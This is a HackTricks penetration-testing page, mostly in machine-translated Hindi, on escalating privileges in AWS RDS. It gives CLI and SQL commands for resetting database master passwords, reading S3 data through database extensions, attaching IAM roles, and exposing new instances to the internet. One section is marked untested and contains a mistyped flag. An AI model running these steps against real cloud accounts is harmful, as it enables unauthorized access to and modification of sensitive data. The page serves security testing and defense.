AWS - RDS Privesc

Support HackTricks

RDS - रिलेशनल डेटाबेस सेवा

RDS के बारे में अधिक जानकारी के लिए देखें:

rds:ModifyDBInstance

उस अनुमति के साथ एक हमलावर मास्टर उपयोगकर्ता का पासवर्ड संशोधित कर सकता है, और डेटाबेस के अंदर लॉगिन:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

आपको डेटाबेस से संपर्क करने में सक्षम होना चाहिए (वे आमतौर पर केवल आंतरिक नेटवर्क से सुलभ होते हैं)।

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

rds-db:connect

दस्तावेज़ों के अनुसार, इस अनुमति के साथ एक उपयोगकर्ता DB इंस्टेंस से कनेक्ट कर सकता है।

RDS भूमिका IAM अनुमतियों का दुरुपयोग

Postgresql (Aurora)

यदि आप SELECT datname FROM pg_database; चलाते हैं और आपको rdsadmin नामक एक डेटाबेस मिलता है, तो आप जानते हैं कि आप एक AWS postgresql डेटाबेस के अंदर हैं।

पहले आप यह जांच सकते हैं कि क्या इस डेटाबेस का उपयोग किसी अन्य AWS सेवा तक पहुँचने के लिए किया गया है। आप स्थापित एक्सटेंशन को देखकर यह जांच सकते हैं:

SELECT * FROM pg_extension;

यदि आप कुछ ऐसा पाते हैं जैसे aws_s3 तो आप मान सकते हैं कि इस डेटाबेस के पास S3 पर कुछ प्रकार की पहुंच है (अन्य एक्सटेंशन जैसे aws_ml और aws_lambda भी हैं)।

इसके अलावा, यदि आपके पास aws rds describe-db-clusters चलाने की अनुमति है, तो आप वहां देख सकते हैं कि क्लस्टर में कोई IAM भूमिका संलग्न है या नहीं, क्षेत्र AssociatedRoles में। यदि कोई है, तो आप मान सकते हैं कि डेटाबेस अन्य AWS सेवाओं तक पहुंचने के लिए तैयार किया गया थाभूमिका के नाम के आधार पर (या यदि आप भूमिका के अनुमतियों को प्राप्त कर सकते हैं) आप अनुमान लगा सकते हैं कि डेटाबेस के पास क्या अतिरिक्त पहुंच है।

अब, बकेट के अंदर एक फ़ाइल पढ़ने के लिए आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

यदि आपके पास कच्चे AWS क्रेडेंशियल्स हैं, तो आप उन्हें S3 डेटा तक पहुँचने के लिए भी उपयोग कर सकते हैं:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql को S3 तक पहुँचने के लिए किसी भी पैरामीटर समूह चर को बदलने की आवश्यकता नहीं है

Mysql (Aurora)

एक mysql के अंदर, यदि आप क्वेरी SELECT User, Host FROM mysql.user; चलाते हैं और वहाँ एक उपयोगकर्ता है जिसका नाम rdsadmin है, तो आप मान सकते हैं कि आप एक AWS RDS mysql db के अंदर हैं।

Mysql के अंदर show variables; चलाएँ और यदि चर जैसे aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role के मान हैं, तो आप मान सकते हैं कि डेटाबेस S3 डेटा तक पहुँचने के लिए तैयार है।

इसके अलावा, यदि आपके पास aws rds describe-db-clusters चलाने की अनुमति है, तो आप जांच सकते हैं कि क्या क्लस्टर में कोई संबंधित भूमिका है, जो आमतौर पर AWS सेवाओं तक पहुँच का मतलब है।

अब, एक बकेट के अंदर एक फ़ाइल पढ़ने के लिए आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

एक हमलावर जिसके पास rds:AddRoleToDBCluster और iam:PassRole की अनुमति है, वह एक मौजूदा RDS इंस्टेंस में एक निर्दिष्ट भूमिका जोड़ सकता है। इससे हमलावर को संवेदनशील डेटा तक पहुंचने या इंस्टेंस के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

संभावित प्रभाव: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन। ध्यान दें कि कुछ DBs को अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है जैसे Mysql, जिसे पैरामीटर समूहों में भूमिका ARN निर्दिष्ट करने की आवश्यकता होती है।

rds:CreateDBInstance

इस अनुमति के साथ एक हमलावर एक क्लस्टर के अंदर एक नया उदाहरण बना सकता है जो पहले से मौजूद है और जिसमें एक IAM भूमिका संलग्न है। वह मास्टर उपयोगकर्ता पासवर्ड को बदलने में असमर्थ होगा, लेकिन वह नए डेटाबेस उदाहरण को इंटरनेट पर उजागर करने में सक्षम हो सकता है:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: टेस्ट करें

An attacker with the permissions rds:CreateDBInstance and iam:PassRole can एक निर्दिष्ट भूमिका के साथ एक नया RDS उदाहरण बना सकता है. The attacker can then potentially संवेदनशील डेटा तक पहुँच प्राप्त कर सकता है या उदाहरण के भीतर डेटा को संशोधित कर सकता है.

Some requirements of the role/instance-profile to attach (from यहाँ):

  • प्रोफ़ाइल आपके खाते में मौजूद होनी चाहिए.

  • प्रोफ़ाइल में एक IAM भूमिका होनी चाहिए जिसे Amazon EC2 को मानने की अनुमति हो.

  • उदाहरण प्रोफ़ाइल नाम और संबंधित IAM भूमिका नाम को AWSRDSCustom प्रीफिक्स से शुरू होना चाहिए.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

संभावित प्रभाव: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।

rds:AddRoleToDBInstance, iam:PassRole

एक हमलावर जिसके पास rds:AddRoleToDBInstance और iam:PassRole की अनुमति है, वह एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है। इससे हमलावर को संवेदनशील डेटा तक पहुंच या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।

DB उदाहरण को क्लस्टर के बाहर होना चाहिए इसके लिए

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

संभावित प्रभाव: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।

Support HackTricks

Last updated